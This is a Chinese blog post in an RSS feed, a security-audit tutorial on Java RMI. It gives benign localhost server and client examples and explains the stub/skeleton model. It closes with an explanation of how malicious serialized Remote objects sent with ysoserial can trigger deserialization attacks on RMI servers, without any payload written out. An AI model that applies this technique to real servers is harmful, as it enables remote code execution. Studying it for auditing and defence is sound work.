		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=1221</guid>

					<description><![CDATA[RMI 远程方法调用 RMI简介 Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调...]]></description>
										<content:encoded><![CDATA[<p><span class="wpcom_tag_link"><a href="/tags/rmi" title="RMI" target="_blank">RMI</a></span> 远程方法调用</p>
<h2>RMI简介</h2>
<p>Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。</p>
<p>接口的两种常见实现方式是：最初使用<span class="wpcom_tag_link"><a href="/tags/jrmp" title="JRMP" target="_blank">JRMP</a></span>（Java Remote Message Protocol，Java远程消息交换协议）实现；此外还可以用与CORBA兼容的方法实现。RMI一般指的是编程接口，也有时候同时包括JRMP和API（应用程序编程接口），而RMI-IIOP则一般指RMI接口接管绝大部分的功能，以支持CORBA的实现。</p>
<p>最初的RMI API设计为通用地支持不同形式的接口实现。后来，CORBA增加了传值（pass by value）功能，以实现RMI接口。然而RMI-IIOP和JRMP实现的接口并不完全一致。</p>
<p>更多参考 <a class="wp-editor-md-post-content-link" href="https://www.jianshu.com/p/362880b635f0">JAVA RPC：从上手到爱不释手</a></p>
<h2>RMI架构</h2>
<p>RMI分为三部分<br />
1. Registry 类似网关<br />
2. Server 服务端提供服务<br />
3. Client 客户端调用</p>
<p>实现RMI所需的API几乎都在：<br />
&#8211; <span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.rmi：提供客户端需要的类、接口和异常；<br />
&#8211; java.rmi.server：提供服务端需要的类、接口和异常；<br />
&#8211; java.rmi.registry：提供注册表的创建以及查找和命名远程对象的类、接口和异常；</p>
<p>上代码，服务端</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RMIServer {
    public static String HOST = "127.0.0.1";
    public static int PORT = 8989;
    public static String RMI_PATH = "/hello";
    public static final String RMI_NAME = "rmi://" + HOST + ":" + PORT + RMI_PATH;

    public static void main(String[] args) {
        try {
            // 注册RMI端口
            LocateRegistry.createRegistry(PORT);

            // 创建一个服务
            RMIInterface rmiInterface = new RMIImpl();

            // 服务命名绑定
            Naming.rebind(RMI_NAME, rmiInterface);

            System.out.println("启动RMI服务在" + RMI_NAME);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}
</code></pre>
<p>上述代码中，在8989端口起了RMI服务，以键值对的形式存储了RMI_PATH和rmiInterface的对应关系，也就是<code>rmi://127.0.0.1:8989/hello</code>对应一个RMIImpl类实例，然后通过<code>Naming.rebind(RMI_NAME, rmiInterface)</code>绑定对应关系。再来看RMIInterface.java</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RMIInterface extends Remote {
    String hello() throws RemoteException;
}
</code></pre>
<p>定义了RMIInterface接口，继承自Remote，然后定义了一个hello()方法作为接口。注意需要抛出RemoteException异常。继续看实现真正功能的类RMIImpl.java</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIImpl extends UnicastRemoteObject implements RMIInterface {
    protected RMIImpl() throws RemoteException {
        super();
    }

    @Override
    public String hello() throws RemoteException {
        System.out.println("call hello().");
        return "this is hello().";
    }

}
</code></pre>
<p>继承自UnicastRemoteObject类，并且实现之前定义的RMIInterface接口的hello()方法。UnicastRemoteObject类提供了很多支持RMI的方法，具体来说，这些方法可以通过JRMP协议导出一个远程对象的引用，并通过动态代理构建一个可以和远程对象交互的Stub对象。现在就定义好了Server端，来看Client</p>
<pre><code class="language-java line-numbers">package com.test.rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import static com.test.rmi.RMIServer.RMI_NAME;

public class RMIClient {
    public static void main(String[] args) {
        try {
            // 获取服务注册器
            Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8989);
            // 获取所有注册的服务
            String[] list = registry.list();
            for (String i : list) {
                System.out.println("已经注册的服务：" + i);
            }

            // 寻找RMI_NAME对应的RMI实例
            RMIInterface rt = (RMIInterface) Naming.lookup(RMI_NAME);

            // 调用Server的hello()方法,并拿到返回值.
            String result = rt.hello();

            System.out.println(result);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>我们可以通过Registry拿到所有已经注册的服务，其中就包括我们注册的hello。然后可以通过Naming.lookup(RMI_NAME)去寻找对应的hello实例，这样就拿到了远程对象，可以直接通过对象来调用hello()方法。</p>
<p>在Java 1.4及 以前的版本中需要手动建立Stub对象，通过运行rmic命令来生成远程对象实现类的Stub对象，但是在Java 1.5之后可以通过动态代理来完成，不再需要这个过程了。运行Server之后再运行Client输出结果</p>
<pre><code class="line-numbers">Server
启动RMI服务在rmi://127.0.0.1:8989/hello
call hello().

Client
已经注册的服务：hello
this is hello().
</code></pre>
<p>那么Registry去哪了？通常在新建一个RMI Registry的时候，都会直接绑定一个对象在上面，也就是说我们示例代码中的Server其实包含了Registry和Server两部分。我们用一张图来解释下。</p>
<p><img src="https://y4er.com/img/uploads/20200216017286.png" alt="image" /></p>
<h2>RMI的通信模型</h2>
<p>上一部分我提到了Stub对象，是因为RMI底层通讯采用了Stub(运行在客户端)和Skeleton(运行在服务端)机制，真正的调用过程如图所示。</p>
<p><img src="https://y4er.com/img/uploads/20200216011185.png" alt="image" /></p>
<p>Client调用远程方法时，会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)对象，然后将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象，RemoteCall序列化服务名和Remote对象，RemoteRef将序列化之后的数据通过socket传输到Server的RemoteRef。</p>
<p>Server的RemoteRef收到远程调用请求之后，将数据传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)，Skeleton调用RemoteCall<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>传过来的数据，Skeleton处理客户端请求如：bind、list、lookup、rebind、unbind，如果是lookup则查找RMI服务名绑定的接口对象，序列化该对象并通过RemoteCall传输到Client。</p>
<p>Client反序列化Server返回的序列化数据从而获得远程对象的引用。然后Client调用远程方法，Server反射执行对应方法并将结果序列化传输给Client，Client反序列化结果，整个过程结束。</p>
<h2>RMI需要解决的问题</h2>
<p>其实很明显的有两大问题<br />
1. 数据的传递问题<br />
2. 远程对象如何发现</p>
<h3>数据传递</h3>
<p>Java中是存在引用类型的，当引用类型的变量作为参数被传递时，传递的不是值，而是内存地址，而对于一台机器上的同一个Java虚拟机来讲，引用传递当然没有问题，而对于分布式的RPC调用，引用传递的内存地址在两个Java虚拟机中并不对等，所以怎么解决呢？</p>
<ol>
<li>使用序列化传递</li>
<li>仍然用引用传递，每当远程主机调用本地主机方法时，该调用还要通过本地主机查询该引用对应的对象</li>
</ol>
<p>RMI中的参数传递和结果返回可以使用的三种机制（取决于数据类型）：</p>
<p>简单类型：按值传递，直接传递数据拷贝；<br />
远程对象引用（实现了Remote接口）：以远程对象的引用传递；<br />
远程对象引用（未实现Remote接口）：按值传递，通过序列化对象传递副本，本身不允许序列化的对象不允许传递给远程方法</p>
<h3>远程对象发现</h3>
<p>RMI解决方式就是类似于域名对应IP的解决方式，<code>rmi://host:port/name</code>，不同的name对应不同的远程对象，注意主机和端口都是可选的，如果省略主机，则默认运行在本地；如果端口也省略，则默认端口是1099。</p>
<h2>RMI的序列化和反序列化</h2>
<p>在RMI的通信过程中，用到了很多的序列化和反序列化，而在Java中，只要进行反序列化操作就可能有漏洞。RMI通过序列化传输Remote对象，那么我们可以构造恶意的Remote对象，当服务端反序列化传输过来的数据时，就会触发反序列化。</p>
<p>利用的话我们可以使用<span class="wpcom_tag_link"><a href="/tags/ysoserial" title="ysoserial" target="_blank">ysoserial</a></span>，如图<br />
<img src="https://y4er.com/img/uploads/20200216016965.png" alt="image" /></p>
<p>客户端在sun.rmi.registry.RegistryImpl_Stub#bind中进行了序列化，这个类是动态生成的，所以在源码中找不到这个类。<br />
<img src="https://y4er.com/img/uploads/2020021601567.png" alt="image" /></p>
<p>服务端在sun.rmi.registry.RegistryImpl_Skel#dispatch 进行反序列化，同样是动态生成类。<br />
<img src="https://y4er.com/img/uploads/20200216014183.png" alt="image" /></p>
<h2>RMI-JRMP反序列化</h2>
<p>JRMP接口的两种常见实现方式：<br />
1. JRMP协议(Java Remote Message Protocol)，RMI专用的Java远程消息交换协议。<br />
2. IIOP协议(Internet Inter-ORB Protocol) ，基于 CORBA 实现的对象请求代理协议。</p>
<p>JRMP在传输过程中也会自动序列化和反序列化，利用过程和RMI一样，不再此赘述。</p>
<h2>参考链接</h2>
<ol>
<li>https://javasec.org/javase/RMI/</li>
<li>https://blog.csdn.net/lmy86263/article/details/72594760</li>
<li>https://www.cnblogs.com/afanti/p/10256840.html</li>
<li>https://xz.aliyun.com/t/5392</li>
<li>https://blog.51cto.com/guojuanjun/1423392</li>
<li>https://blog.hufeifei.cn/2017/12/14/Java/RMI%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90/</li>
<li>https://www.jianshu.com/p/362880b635f0</li>
<li>https://www.anquanke.com/post/id/197829</li>
<li>https://xz.aliyun.com/t/2223 [这篇很清晰]</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
